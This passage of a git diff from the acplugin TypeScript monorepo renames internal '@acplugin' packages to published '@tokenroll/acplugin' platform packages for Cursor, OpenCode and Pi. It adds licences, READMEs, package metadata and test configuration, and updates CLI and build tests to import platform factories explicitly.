@@ -import { definePlatform, type AcpluginPlatform, type JsonObject } from '@acplugin/core'; +import { definePlatform, type AcpluginPlatform, type JsonObject } from '@tokenroll/acplugin'; import { generateComponentArtifacts, validateCursorComponentFields } from './components.js'; import { createManifestDocument, serializeDocuments, validatePlatformOptions } from './manifest.js'; import type { CursorPlatformOptions } from './types.js'; @@ -45,3 +45,5 @@ export function cursor(options: CursorPlatformOptions = {}): AcpluginPlatform { validateBundle: validateCursorBundle, }); } + +export default cursor; diff --git a/packages/platforms/cursor/src/manifest.ts b/packages/platforms/cursor/src/manifest.ts index 6436f1c..fdad754 100644 --- a/packages/platforms/cursor/src/manifest.ts +++ b/packages/platforms/cursor/src/manifest.ts @@ -5,7 +5,7 @@ import { type DraftDocument, type JsonObject, type PlatformPrepareContext, -} from '@acplugin/core'; +} from '@tokenroll/acplugin'; import { hasComponents } from './components.js'; import type { CursorPlatformOptions, CursorPluginManifest } from './types.js'; diff --git a/packages/platforms/cursor/src/validator.ts b/packages/platforms/cursor/src/validator.ts index 3c8d6f4..f56db6b 100644 --- a/packages/platforms/cursor/src/validator.ts +++ b/packages/platforms/cursor/src/validator.ts @@ -1,6 +1,6 @@ import { promises as fs } from 'node:fs'; import path from 'node:path'; -import type { JsonValue, PlatformValidateContext } from '@acplugin/core'; +import type { JsonValue, PlatformValidateContext } from '@tokenroll/acplugin'; import { PLUGIN_MANIFEST_PATH, SEMVER_PATTERN } from './manifest.js'; /** Cursor 官方 Schema 当前允许的根字段。 */ diff --git a/packages/platforms/cursor/test/platform.test.ts b/packages/platforms/cursor/test/platform.test.ts index 3629620..333128e 100644 --- a/packages/platforms/cursor/test/platform.test.ts +++ b/packages/platforms/cursor/test/platform.test.ts @@ -64,7 +64,7 @@ function resolvedConfig(root: string, logo = './assets/logo.svg'): ResolvedConfi tags: ['release', 'automation'], minClientVersions: { cursor: '1.2.3' }, })], - }, path.join(root, 'acplugin.config.ts'), 'build', 'production', { defaultPlatforms: [cursor()] }); + }, path.join(root, 'acplugin.config.ts'), 'build', 'production'); expect(result.diagnostics).toEqual([]); return result.config!; } diff --git a/packages/platforms/cursor/tsdown.config.ts b/packages/platforms/cursor/tsdown.config.ts index be214be..cc2b775 100644 --- a/packages/platforms/cursor/tsdown.config.ts +++ b/packages/platforms/cursor/tsdown.config.ts @@ -9,4 +9,5 @@ export default defineConfig({ dts: { generator: 'oxc' }, clean: true, sourcemap: false, + deps: { neverBundle: ['@tokenroll/acplugin'] }, }); diff --git a/packages/platforms/cursor/vitest.config.ts b/packages/platforms/cursor/vitest.config.ts new file mode 100644 index 0000000..f3691f1 --- /dev/null +++ b/packages/platforms/cursor/vitest.config.ts @@ -0,0 +1,12 @@ +import { fileURLToPath } from 'node:url'; +import { defineConfig } from 'vitest/config'; + +/** Cursor 单测让公开主包与私有 Core 共享同一源码品牌实例。 */ +export default defineConfig({ + resolve: { + alias: { + '@acplugin/core': fileURLToPath(new URL('../../core/src/index.ts', import.meta.url)), + '@tokenroll/acplugin': fileURLToPath(new URL('../../acplugin/src/index.ts', import.meta.url)), + }, + }, +}); diff --git a/packages/platforms/opencode/LICENSE b/packages/platforms/opencode/LICENSE new file mode 100644 index 0000000..9113de7 --- /dev/null +++ b/packages/platforms/opencode/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 TokenRollAI + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/packages/platforms/opencode/README.md b/packages/platforms/opencode/README.md new file mode 100644 index 0000000..f2fac0d --- /dev/null +++ b/packages/platforms/opencode/README.md @@ -0,0 +1,25 @@ +# @tokenroll/acplugin-platform-opencode + +OpenCode Platform package for `@tokenroll/acplugin`. + +```bash +pnpm add -D @tokenroll/acplugin @tokenroll/acplugin-platform-opencode +``` + +```ts +import { defineConfig } from '@tokenroll/acplugin'; +import openCode from '@tokenroll/acplugin-platform-opencode'; + +export default defineConfig({ + name: 'my-plugin', + version: '1.0.0', + description: 'Reusable AI workflows.', + platforms: [openCode()], +}); +``` + +The package also exports the named `openCode` factory, its option types, `PLATFORM_ID`, and `PLATFORM_API_VERSION`. + +## License + +MIT diff --git a/packages/platforms/opencode/package.json b/packages/platforms/opencode/package.json index ff68e30..38e8f7c 100644 --- a/packages/platforms/opencode/package.json +++ b/packages/platforms/opencode/package.json @@ -1,17 +1,26 @@ { - "name": "@acplugin/platform-opencode", - "version": "0.0.0", - "private": true, + "name": "@tokenroll/acplugin-platform-opencode", + "version": "1.0.0", + "description": "OpenCode Platform adapter for acplugin.", "type": "module", - "engines": { "node": ">=20" }, + "license": "MIT", + "homepage": "https://github.com/TokenRollAI/acplugin#opencode-platform", + "repository": { "type": "git", "url": "git+https://github.com/TokenRollAI/acplugin.git", "directory": "packages/platforms/opencode" }, + "bugs": { "url": "https://github.com/TokenRollAI/acplugin/issues" }, + "sideEffects": false, + "engines": { "node": "^20.19.0 || ^22.13.0 || >=23.5.0" }, "exports": { ".": { "types": "./dist/index.d.mts", "import": "./dist/index.mjs" } }, + "files": ["dist", "README.md", "LICENSE"], + "publishConfig": { "access": "public" }, "scripts": { "build": "tsdown", "test": "vitest run --passWithNoTests", "typecheck": "tsc -p tsconfig.json" }, - "dependencies": { "@acplugin/core": "workspace:*" }, + "peerDependencies": { "@tokenroll/acplugin": "workspace:^" }, "devDependencies": { + "@acplugin/core": "workspace:*", + "@tokenroll/acplugin": "workspace:^", "@types/node": "catalog:", "tsdown": "catalog:", "@typescript/native": "catalog:", diff --git a/packages/platforms/opencode/src/components.ts b/packages/platforms/opencode/src/components.ts index ba2b7b1..2ab2b77 100644 --- a/packages/platforms/opencode/src/components.ts +++ b/packages/platforms/opencode/src/components.ts @@ -5,7 +5,7 @@ import { type ArtifactInput, type PlatformComponentValidationContext, type PlatformGenerateContext, -} from '@acplugin/core'; +} from '@tokenroll/acplugin'; /** OpenCode 1.0 暂不开放未经独立 Schema 验证的 Component 专属字段。 */ const COMPONENT_FIELDS = new Set(); diff --git a/packages/platforms/opencode/src/config-document.ts b/packages/platforms/opencode/src/config-document.ts index e52200e..5e841c4 100644 --- a/packages/platforms/opencode/src/config-document.ts +++ b/packages/platforms/opencode/src/config-document.ts @@ -5,7 +5,7 @@ import { type DraftDocument, type JsonObject, type PlatformPrepareContext, -} from '@acplugin/core'; +} from '@tokenroll/acplugin'; import type { OpenCodePlatformOptions, OpenCodeWorkspaceOptions } from './types.js'; /** OpenCode workspace 配置的稳定逻辑 Document ID。 */ diff --git a/packages/platforms/opencode/src/index.ts b/packages/platforms/opencode/src/index.ts index 6d973d4..007ecf2 100644 --- a/packages/platforms/opencode/src/index.ts +++ b/packages/platforms/opencode/src/index.ts @@ -1,4 +1,4 @@ -import { definePlatform, type AcpluginPlatform, type JsonObject } from '@acplugin/core'; +import { definePlatform, type AcpluginPlatform, type JsonObject } from '@tokenroll/acplugin'; import { generateComponentArtifacts, validateOpenCodeComponentFields } from './components.js'; import { createWorkspaceDocument, serializeDocuments, validatePlatformOptions } from './config-document.js'; import type { OpenCodePlatformOptions } from './types.js'; @@ -45,3 +45,5 @@ export function openCode(options: OpenCodePlatformOptions = {}): AcpluginPlatfor validateBundle: validateOpenCodeBundle, }); } + +export default openCode; diff --git a/packages/platforms/opencode/src/validator.ts b/packages/platforms/opencode/src/validator.ts index 2fdd8f5..168425f 100644 --- a/packages/platforms/opencode/src/validator.ts +++ b/packages/platforms/opencode/src/validator.ts @@ -1,6 +1,6 @@ import { promises as fs } from 'node:fs'; import path from 'node:path'; -import type { JsonValue, PlatformValidateContext } from '@acplugin/core'; +import type { JsonValue, PlatformValidateContext } from '@tokenroll/acplugin'; import { WORKSPACE_CONFIG_PATH } from './config-document.js'; /** OpenCode workspace 配置由 Platform/Extension 允许生成的根字段。 */ diff --git a/packages/platforms/opencode/test/platform.test.ts b/packages/platforms/opencode/test/platform.test.ts index 1073654..83987af 100644 --- a/packages/platforms/opencode/test/platform.test.ts +++ b/packages/platforms/opencode/test/platform.test.ts @@ -42,7 +42,7 @@ function resolvedConfig(root: string): ResolvedConfig { version: '1.2.3', description: 'Release workflow tools.', platforms: [openCode({ workspace: { schema: true } })], - }, path.join(root, 'acplugin.config.ts'), 'build', 'production', { defaultPlatforms: [openCode()] }); + }, path.join(root, 'acplugin.config.ts'), 'build', 'production'); expect(result.diagnostics).toEqual([]); return result.config!; } @@ -91,7 +91,7 @@ describe('OpenCode Platform', () => { /** 默认选项下不创建 opencode.json 的构建结果。 */ const result = resolveConfig({ name: 'empty-workspace', version: '1.0.0', description: 'Empty workspace.', platforms: [openCode()], - }, path.join(root, 'acplugin.config.ts'), 'build', 'production', { defaultPlatforms: [openCode()] }); + }, path.join(root, 'acplugin.config.ts'), 'build', 'production'); /** 空配置生命周期执行结果。 */ const build = await executeLifecycle({ config: result.config!, diff --git a/packages/platforms/opencode/tsdown.config.ts b/packages/platforms/opencode/tsdown.config.ts index 847c709..4283c83 100644 --- a/packages/platforms/opencode/tsdown.config.ts +++ b/packages/platforms/opencode/tsdown.config.ts @@ -9,4 +9,5 @@ export default defineConfig({ dts: { generator: 'oxc' }, clean: true, sourcemap: false, + deps: { neverBundle: ['@tokenroll/acplugin'] }, }); diff --git a/packages/platforms/opencode/vitest.config.ts b/packages/platforms/opencode/vitest.config.ts new file mode 100644 index 0000000..0422823 --- /dev/null +++ b/packages/platforms/opencode/vitest.config.ts @@ -0,0 +1,12 @@ +import { fileURLToPath } from 'node:url'; +import { defineConfig } from 'vitest/config'; + +/** OpenCode 单测让公开主包与私有 Core 共享同一源码品牌实例。 */ +export default defineConfig({ + resolve: { + alias: { + '@acplugin/core': fileURLToPath(new URL('../../core/src/index.ts', import.meta.url)), + '@tokenroll/acplugin': fileURLToPath(new URL('../../acplugin/src/index.ts', import.meta.url)), + }, + }, +}); diff --git a/packages/platforms/pi/LICENSE b/packages/platforms/pi/LICENSE new file mode 100644 index 0000000..9113de7 --- /dev/null +++ b/packages/platforms/pi/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 TokenRollAI + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/packages/platforms/pi/README.md b/packages/platforms/pi/README.md new file mode 100644 index 0000000..37d8ce6 --- /dev/null +++ b/packages/platforms/pi/README.md @@ -0,0 +1,25 @@ +# @tokenroll/acplugin-platform-pi + +Pi Platform package for `@tokenroll/acplugin`. + +```bash +pnpm add -D @tokenroll/acplugin @tokenroll/acplugin-platform-pi +``` + +```ts +import { defineConfig } from '@tokenroll/acplugin'; +import pi from '@tokenroll/acplugin-platform-pi'; + +export default defineConfig({ + name: 'my-plugin', + version: '1.0.0', + description: 'Reusable AI workflows.', + platforms: [pi()], +}); +``` + +The package also exports the named `pi` factory, its option types, `PLATFORM_ID`, and `PLATFORM_API_VERSION`. + +## License + +MIT diff --git a/packages/platforms/pi/package.json b/packages/platforms/pi/package.json index e605b6e..e522cf5 100644 --- a/packages/platforms/pi/package.json +++ b/packages/platforms/pi/package.json @@ -1,17 +1,26 @@ { - "name": "@acplugin/platform-pi", - "version": "0.0.0", - "private": true, + "name": "@tokenroll/acplugin-platform-pi", + "version": "1.0.0", + "description": "Pi Platform adapter for acplugin.", "type": "module", - "engines": { "node": ">=20" }, + "license": "MIT", + "homepage": "https://github.com/TokenRollAI/acplugin#pi-platform", + "repository": { "type": "git", "url": "git+https://github.com/TokenRollAI/acplugin.git", "directory": "packages/platforms/pi" }, + "bugs": { "url": "https://github.com/TokenRollAI/acplugin/issues" }, + "sideEffects": false, + "engines": { "node": "^20.19.0 || ^22.13.0 || >=23.5.0" }, "exports": { ".": { "types": "./dist/index.d.mts", "import": "./dist/index.mjs" } }, + "files": ["dist", "README.md", "LICENSE"], + "publishConfig": { "access": "public" }, "scripts": { "build": "tsdown", "test": "vitest run --passWithNoTests", "typecheck": "tsc -p tsconfig.json" }, - "dependencies": { "@acplugin/core": "workspace:*" }, + "peerDependencies": { "@tokenroll/acplugin": "workspace:^" }, "devDependencies": { + "@acplugin/core": "workspace:*", + "@tokenroll/acplugin": "workspace:^", "@types/node": "catalog:", "tsdown": "catalog:", "@typescript/native": "catalog:", diff --git a/packages/platforms/pi/src/components.ts b/packages/platforms/pi/src/components.ts index 73b8765..7eac0de 100644 --- a/packages/platforms/pi/src/components.ts +++ b/packages/platforms/pi/src/components.ts @@ -6,7 +6,7 @@ import { type PlatformGenerateContext, type PlatformPrepareContext, type PluginProject, -} from '@acplugin/core'; +} from '@tokenroll/acplugin'; /** Pi 1.0 暂不开放未经官方 package 契约确认的 Component 专属字段。 */ const COMPONENT_FIELDS = new Set(); diff --git a/packages/platforms/pi/src/index.ts b/packages/platforms/pi/src/index.ts index 6eb558d..7e50911 100644 --- a/packages/platforms/pi/src/index.ts +++ b/packages/platforms/pi/src/index.ts @@ -1,4 +1,4 @@ -import { definePlatform, type AcpluginPlatform, type JsonObject } from '@acplugin/core'; +import { definePlatform, type AcpluginPlatform, type JsonObject } from '@tokenroll/acplugin'; import { generateComponentArtifacts, validateGeneratedSkillIds, @@ -52,3 +52,5 @@ export function pi(options: PiPlatformOptions = {}): AcpluginPlatform { validateBundle: validatePiBundle, }); } + +export default pi; diff --git a/packages/platforms/pi/src/manifest.ts b/packages/platforms/pi/src/manifest.ts index e765d79..88dda70 100644 --- a/packages/platforms/pi/src/manifest.ts +++ b/packages/platforms/pi/src/manifest.ts @@ -5,7 +5,7 @@ import { type DraftDocument, type JsonObject, type PlatformPrepareContext, -} from '@acplugin/core'; +} from '@tokenroll/acplugin'; import { hasGeneratedSkills } from './components.js'; import type { PiPackageOptions, PiPlatformOptions } from './types.js'; diff --git a/packages/platforms/pi/src/validator.ts b/packages/platforms/pi/src/validator.ts index bd3333b..637b52c 100644 --- a/packages/platforms/pi/src/validator.ts +++ b/packages/platforms/pi/src/validator.ts @@ -1,6 +1,6 @@ import { promises as fs } from 'node:fs'; import path from 'node:path'; -import type { JsonValue, PlatformValidateContext } from '@acplugin/core'; +import type { JsonValue, PlatformValidateContext } from '@tokenroll/acplugin'; import { PACKAGE_MANIFEST_PATH } from './manifest.js'; /** acplugin 允许写入 Pi package.json 的固定根字段。 */ diff --git a/packages/platforms/pi/test/platform.test.ts b/packages/platforms/pi/test/platform.test.ts index f7fbd14..bb9710b 100644 --- a/packages/platforms/pi/test/platform.test.ts +++ b/packages/platforms/pi/test/platform.test.ts @@ -69,7 +69,7 @@ function resolvedConfig(root: string): ResolvedConfig { author: { name: 'TokenRoll' }, license: 'MIT', platforms: [pi({ package: { image: './assets/cover.png' } })], - }, path.join(root, 'acplugin.config.ts'), 'build', 'production', { defaultPlatforms: [pi()] }); + }, path.join(root, 'acplugin.config.ts'), 'build', 'production'); expect(result.diagnostics).toEqual([]); return result.config!; } diff --git a/packages/platforms/pi/tsdown.config.ts b/packages/platforms/pi/tsdown.config.ts index 76bc4ea..199bf96 100644 --- a/packages/platforms/pi/tsdown.config.ts +++ b/packages/platforms/pi/tsdown.config.ts @@ -9,4 +9,5 @@ export default defineConfig({ dts: { generator: 'oxc' }, clean: true, sourcemap: false, + deps: { neverBundle: ['@tokenroll/acplugin'] }, }); diff --git a/packages/platforms/pi/vitest.config.ts b/packages/platforms/pi/vitest.config.ts new file mode 100644 index 0000000..ffe883f --- /dev/null +++ b/packages/platforms/pi/vitest.config.ts @@ -0,0 +1,12 @@ +import { fileURLToPath } from 'node:url'; +import { defineConfig } from 'vitest/config'; + +/** Pi 单测让公开主包与私有 Core 共享同一源码品牌实例。 */ +export default defineConfig({ + resolve: { + alias: { + '@acplugin/core': fileURLToPath(new URL('../../core/src/index.ts', import.meta.url)), + '@tokenroll/acplugin': fileURLToPath(new URL('../../acplugin/src/index.ts', import.meta.url)), + }, + }, +}); diff --git a/packages/test/package.json b/packages/test/package.json index 1384c9e..8a60d07 100644 --- a/packages/test/package.json +++ b/packages/test/package.json @@ -5,7 +5,7 @@ "type": "module", "engines": { "node": ">=20" }, "scripts": { - "pretest": "pnpm --filter @acplugin/core run build && pnpm --filter \"@acplugin/platform-*\" run build && pnpm --filter \"...@tokenroll/acplugin\" run build", + "pretest": "pnpm --filter @acplugin/core run build && pnpm --filter @tokenroll/acplugin run build && pnpm --filter \"@tokenroll/acplugin-platform-*\" run build && pnpm --filter \"@tokenroll/acplugin-extension-*\" run build", "test": "vitest run", "test:watch": "vitest", "typecheck": "tsc -p tsconfig.json" @@ -13,6 +13,12 @@ "dependencies": { "@acplugin/core": "workspace:*", "@tokenroll/acplugin": "workspace:*", + "@tokenroll/acplugin-platform-antigravity": "workspace:*", + "@tokenroll/acplugin-platform-claude-code": "workspace:*", + "@tokenroll/acplugin-platform-codex": "workspace:*", + "@tokenroll/acplugin-platform-cursor": "workspace:*", + "@tokenroll/acplugin-platform-opencode": "workspace:*", + "@tokenroll/acplugin-platform-pi": "workspace:*", "@tokenroll/acplugin-extension-hooks": "workspace:*", "@tokenroll/acplugin-extension-mcp": "workspace:*" }, diff --git a/packages/test/test/build.test.ts b/packages/test/test/build.test.ts index beb5269..53a50c7 100644 --- a/packages/test/test/build.test.ts +++ b/packages/test/test/build.test.ts @@ -2,7 +2,15 @@ import { promises as fs } from 'node:fs'; import os from 'node:os'; import path from 'node:path'; import { afterEach, describe, expect, it } from 'vitest'; -import { codex, cursor, ProjectConfigError, runProject, serializeBuildResult, type PlatformId } from '@tokenroll/acplugin'; +import { ProjectConfigError, runProject, serializeBuildResult, type PlatformId } from '@tokenroll/acplugin'; +import claudeCode from '@tokenroll/acplugin-platform-claude-code'; +import codex from '@tokenroll/acplugin-platform-codex'; +import cursor from '@tokenroll/acplugin-platform-cursor'; + +/** 临时配置与当前 Vitest 源码图共享官方 Platform 工厂的隔离全局键。 */ +const BUILD_TEST_PLATFORMS = Symbol.for('tokenroll.acplugin.build-test-platforms'); + +Reflect.set(globalThis, BUILD_TEST_PLATFORMS, Object.freeze({ claudeCode, codex })); /** 当前测试创建并在 afterEach 中统一删除的临时工程根目录。 */ const roots: string[] = []; @@ -60,10 +68,12 @@ async function project(config = ''): Promise { roots.push(root); await fs.mkdir(path.join(root, 'src/skills/hello'), { recursive: true }); await fs.writeFile(path.join(root, 'src/skills/hello/SKILL.md'), '---\ndescription: Say hello.\n---\nSay hello to the user.\n'); - await fs.writeFile(path.join(root, 'acplugin.config.ts'), config || `export default { + await fs.writeFile(path.join(root, 'acplugin.config.ts'), config || `const platforms = globalThis[Symbol.for('tokenroll.acplugin.build-test-platforms')]; +export default { name: 'hello-plugin', version: '1.0.0', description: 'Hello plugin.', + platforms: [platforms.claudeCode(), platforms.codex()], }`); return root; } diff --git a/packages/test/test/claude-code.test.ts b/packages/test/test/claude-code.test.ts index d26b34d..32164a8 100644 --- a/packages/test/test/claude-code.test.ts +++ b/packages/test/test/claude-code.test.ts @@ -2,8 +2,7 @@ import { promises as fs } from 'node:fs'; import path from 'node:path'; import { fileURLToPath } from 'node:url'; import { describe, expect, it } from 'vitest'; -import { claudeCode } from '@tokenroll/acplugin'; -import { PLATFORM_ID } from '@tokenroll/acplugin/platforms/claude-code'; +import claudeCode, { PLATFORM_ID } from '@tokenroll/acplugin-platform-claude-code'; /** 跨包契约测试读取源码边界时使用的仓库根目录。 */ const repositoryRoot = fileURLToPath(new URL('../../..', import.meta.url)); @@ -32,8 +31,8 @@ async function platformSources(directory: string): Promise { } describe('Claude Code public Platform integration', () => { - it('re-exports the private Platform factory with a frozen Marketplace contract', () => { - /** 通过正式公开主包创建的 Claude Code Platform。 */ + it('exports an independent Platform factory with a frozen Marketplace contract', () => { + /** 通过独立公开 package 创建的 Claude Code Platform。 */ const platform = claudeCode({ strict: false, defaultEnabled: false, @@ -68,7 +67,7 @@ describe('Claude Code public Platform integration', () => { }); it('keeps Hooks and MCP implementation packages outside the Platform dependency boundary', async () => { - /** Claude Code 私有 Platform 的完整源码文本。 */ + /** Claude Code 公开 Platform 的完整源码文本。 */ const source = await platformSources(path.join(repositoryRoot, 'packages/platforms/claude-code/src')); expect(source).not.toContain('@tokenroll/acplugin-extension-hooks'); diff --git a/packages/test/test/cli.test.ts b/packages/test/test/cli.test.ts index 14e5eeb..ed82bd6 100644 --- a/packages/test/test/cli.test.ts +++ b/packages/test/test/cli.test.ts @@ -6,6 +6,15 @@ import { afterEach, describe, expect, it } from 'vitest'; /** 构建后 CLI 入口的绝对路径,用于真实子进程契约测试。 */ const cli = path.resolve(import.meta.dirname, '../../acplugin/dist/cli.mjs'); +/** CLI 子进程配置显式加载的两个独立 Platform 构建入口。 */ +const claudeCodeEntry = path.resolve(import.meta.dirname, '../../platforms/claude-code/dist/index.mjs'); +/** CLI 子进程配置加载的 Codex Platform 构建入口。 */ +const codexEntry = path.resolve(import.meta.dirname, '../../platforms/codex/dist/index.mjs'); +/** 所有有效 CLI fixture 共用的独立 Platform 导入源码。 */ +const platformImports = `import claudeCode from ${JSON.stringify(claudeCodeEntry)}; +import codex from ${JSON.stringify(codexEntry)};`; +/** 所有有效 CLI fixture 共用的显式 Platform 字段。 */ +const platformField = 'platforms: [claudeCode(), codex()],'; /** 当前测试创建并在 afterEach 中统一删除的临时工程目录。 */ const roots: string[] = []; /** 尚未退出的 CLI 子进程,失败清理时会被强制终止。 */ @@ -141,10 +150,12 @@ async function waitForOutput( */ async function writeValidProject(root: string): Promise { await fs.mkdir(path.join(root, 'src/skills/hello'), { recursive: true }); - await fs.writeFile(path.join(root, 'acplugin.config.ts'), `export default { + await fs.writeFile(path.join(root, 'acplugin.config.ts'), `${platformImports} +export default { name: 'cli-plugin', version: '1.0.0', description: 'CLI fixture.', + ${platformField} };\n`); await fs.writeFile(path.join(root, 'src/skills/hello/SKILL.md'), `--- description: Say hello. @@ -350,8 +361,9 @@ Say hello after recovery. await fs.mkdir(helperRoot, { recursive: true }); await fs.writeFile(path.join(helperRoot, 'package.json'), '{"name":"shared-config","type":"module"}\n'); await fs.writeFile(helper, `export const description = 'First external config.';\n`); - await fs.writeFile(path.join(root, 'acplugin.config.ts'), `import { description } from '../shared-config/value.ts'; -export default { name: 'external-config-plugin', version: '1.0.0', description }; + await fs.writeFile(path.join(root, 'acplugin.config.ts'), `${platformImports} +import { description } from '../shared-config/value.ts'; +export default { name: 'external-config-plugin', version: '1.0.0', description, ${platformField} }; `); await fs.writeFile(path.join(root, 'src/skills/hello/SKILL.md'), `--- description: Verify external config watching. @@ -392,7 +404,7 @@ Watch the external helper. const skill = path.join(root, 'src/skills/hello/SKILL.md'); /** 构造同步 Extension 时与 CLI Bundle 共享品牌 Symbol 的已构建 Facade。 */ const facade = path.resolve(import.meta.dirname, '../../acplugin/dist/index.mjs'); - await fs.writeFile(path.join(root, 'acplugin.config.ts'), ` + await fs.writeFile(path.join(root, 'acplugin.config.ts'), `${platformImports} import { promises as fs } from 'node:fs'; import { defineExtension } from ${JSON.stringify(facade)}; const barrier = defineExtension({ @@ -409,6 +421,7 @@ const barrier = defineExtension({ }, }); export default { + ${platformField} name: 'cli-plugin', version: '1.0.0', description: 'Initial ready fixture.', @@ -454,7 +467,8 @@ First recovered build. await waitForOutput(running, (_stdout, stderr) => stderr.includes('CONFIG_LOAD_FAILED'), 'initial missing configuration failure'); /** 构造恢复同步 Extension 时与 CLI Bundle 共享品牌 Symbol 的已构建 Facade。 */ const facade = path.resolve(import.meta.dirname, '../../acplugin/dist/index.mjs'); - await fs.writeFile(path.join(root, 'acplugin.config.ts'), `import { promises as fs } from 'node:fs'; + await fs.writeFile(path.join(root, 'acplugin.config.ts'), `${platformImports} +import { promises as fs } from 'node:fs'; import { defineExtension } from ${JSON.stringify(facade)}; const barrier = defineExtension({ name: 'dynamic-ready-barrier', @@ -470,6 +484,7 @@ const barrier = defineExtension({ }, }); export default { + ${platformField} name: 'recovered-plugin', version: '1.0.0', description: 'Recovered CLI fixture.', @@ -517,7 +532,8 @@ Third watched build. await fs.writeFile(descriptor, `export default 'initial-stopping-extension';\n`); /** 构造初始延迟 Extension 时与 CLI Bundle 共享品牌 Symbol 的已构建 Facade。 */ const facade = path.resolve(import.meta.dirname, '../../acplugin/dist/index.mjs'); - await fs.writeFile(path.join(root, 'acplugin.config.ts'), `import { defineExtension } from ${JSON.stringify(facade)}; + await fs.writeFile(path.join(root, 'acplugin.config.ts'), `${platformImports} +import { defineExtension } from ${JSON.stringify(facade)}; process.stderr.write('fixture: initial dev build started\\n'); const extension = defineExtension({ name: 'initial-stopping-extension', @@ -530,6 +546,7 @@ const extension = defineExtension({ }, }); export default { + ${platformField} name: 'cli-plugin', version: '1.0.0', description: 'Initial signal cleanup fixture.', @@ -565,7 +582,8 @@ export default { await waitForOutput(running, stdout => stdout.includes('dev: success'), 'initial signal fixture build'); /** 构造延迟 Extension 时与 CLI Bundle 共享品牌 Symbol 的已构建 Facade。 */ const facade = path.resolve(import.meta.dirname, '../../acplugin/dist/index.mjs'); - await fs.writeFile(path.join(root, 'acplugin.config.ts'), `import { defineExtension } from ${JSON.stringify(facade)}; + await fs.writeFile(path.join(root, 'acplugin.config.ts'), `${platformImports} +import { defineExtension } from ${JSON.stringify(facade)}; process.stderr.write('fixture: dynamic rebuild started\\n'); const extension = defineExtension({ name: 'stopping-extension', @@ -578,6 +596,7 @@ const extension = defineExtension({ }, }); export default { + ${platformField} name: 'cli-plugin', version: '1.0.0', description: 'Signal cleanup fixture.', @@ -609,7 +628,8 @@ export default { await fs.writeFile(descriptor, `import { value } from './helper.ts';\nexport default value;\n`); /** 构造 Extension 时必须与 CLI Bundle 共享品牌 Symbol 的已构建 Facade。 */ const facade = path.resolve(import.meta.dirname, '../../acplugin/dist/index.mjs'); - await fs.writeFile(path.join(root, 'acplugin.config.ts'), `import { defineExtension } from ${JSON.stringify(facade)}; + await fs.writeFile(path.join(root, 'acplugin.config.ts'), `${platformImports} +import { defineExtension } from ${JSON.stringify(facade)}; const extension = defineExtension({ name: 'dev-extension', apiVersion: '1', @@ -620,6 +640,7 @@ const extension = defineExtension({ }, }); export default { + ${platformField} name: 'cli-plugin', version: '1.0.0', description: 'CLI fixture.', @@ -649,7 +670,7 @@ export default { await fs.writeFile(helper, 'first\n'); /** 构造测试 Extension 时与 CLI Bundle 共享品牌 Symbol 的已构建 Facade。 */ const facade = path.resolve(import.meta.dirname, '../../acplugin/dist/index.mjs'); - await fs.writeFile(path.join(root, 'acplugin.config.ts'), ` + await fs.writeFile(path.join(root, 'acplugin.config.ts'), `${platformImports} import { promises as fs } from 'node:fs'; import { defineExtension } from ${JSON.stringify(facade)}; const extension = defineExtension({ @@ -665,6 +686,7 @@ const extension = defineExtension({ }, }); export default { + ${platformField} name: 'cli-plugin', version: '1.0.0', description: 'Build graph watch fixture.', @@ -741,9 +763,10 @@ process.stdin.on('data', (chunk) => { } }); `); - await fs.writeFile(path.join(root, 'acplugin.config.ts'), ` + await fs.writeFile(path.join(root, 'acplugin.config.ts'), `${platformImports} import mcp from '@tokenroll/acplugin-extension-mcp'; export default { + ${platformField} name: 'mcp-watch-plugin', version: '1.0.0', description: 'MCP bundle watch fixture.', @@ -785,7 +808,8 @@ First custom source build. await fs.writeFile(descriptor, `export default 'local';\n`); /** 构造本地 Extension 时与 CLI Bundle 共享品牌 Symbol 的已构建 Facade。 */ const facade = path.resolve(import.meta.dirname, '../../acplugin/dist/index.mjs'); - await fs.writeFile(path.join(root, 'acplugin.config.ts'), `import { defineExtension } from ${JSON.stringify(facade)}; + await fs.writeFile(path.join(root, 'acplugin.config.ts'), `${platformImports} +import { defineExtension } from ${JSON.stringify(facade)}; const extension = defineExtension({ name: 'local-extension', apiVersion: '1', @@ -796,6 +820,7 @@ const extension = defineExtension({ }, }); export default { + ${platformField} name: 'custom-source-plugin', version: '1.0.0', description: 'Custom source fixture.', diff --git a/packages/test/test/codex.test.ts b/packages/test/test/codex.test.ts index 18eb3df..d6abb9b 100644 --- a/packages/test/test/codex.test.ts +++ b/packages/test/test/codex.test.ts @@ -5,8 +5,7 @@ 